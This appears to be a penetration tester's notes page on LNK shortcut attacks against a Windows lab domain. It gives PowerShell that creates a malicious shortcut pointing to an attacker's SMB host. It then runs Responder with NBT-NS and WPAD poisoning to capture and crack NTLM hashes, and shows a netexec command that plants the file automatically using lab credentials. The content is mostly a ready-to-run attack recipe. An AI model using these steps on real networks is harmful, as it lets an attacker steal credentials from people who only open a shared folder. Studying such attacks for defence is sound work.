# LNK File Attacks

### Manual way

#### Step 1 - create a malicious LNK file

#### Create a file linking to our Kali Running responder

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FMaN8UQGBlBnONSfQ404t%2Fimage.png?alt=media&#x26;token=96963418-d813-4648-85fe-3092938dc539" alt=""><figcaption></figcaption></figure>

```
$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\192.168.145.141\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()
```

Put the shortcut in shared folder.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F7Ux2TvGxXTbuopW5sPJQ%2Fimage.png?alt=media&#x26;token=a591682c-4d72-40bb-9d82-faea610d782d" alt=""><figcaption></figcaption></figure>

#### Step 2 - run the responder

```
sudo responder -I eth0 -v -dP 
```

* `sudo`: Runs Responder with root privileges (required).
* `responder`: The main script to run the Responder tool.
* `-I eth0`: Specifies the network interface to listen on (e.g., `eth0`).
* `-v`: Enables verbose output.
* `-d`: Enables **NBT-NS (NetBIOS Name Service) poisoning**.
* `-P`: Enables **WPAD (Web Proxy Auto-Discovery Protocol) rogue proxy**.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FbE2d2KOyuSLrtTYGHnxl%2Fimage.png?alt=media&#x26;token=8be743e5-83ff-4f70-b2ab-8b335a95be2f" alt=""><figcaption><p>Make sure SMB is on</p></figcaption></figure>

#### Step 3 Exploit

Run the shortcut file and we will have a hash.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F2jYHB7KyPdoVpdEA6PhR%2Fimage.png?alt=media&#x26;token=635172d2-12df-4b55-8157-7eccb166ef00" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FdSHnzkKxiHU3kxhW1fdv%2Fimage.png?alt=media&#x26;token=7c23606e-a684-48f0-8322-58a981773be9" alt=""><figcaption><p>We can crack it as well</p></figcaption></figure>

### Automated Way

Netexec can do it automatically. (slinky module)

```
netexec smb 192.168.138.137 -d marvel.local -u fcastle -p Password1 -M slinky -o NAME=test SERVER=192.168.138.149
```

It autocreates a LNK file.&#x20;

{% embed url="<https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.rtf>" %}
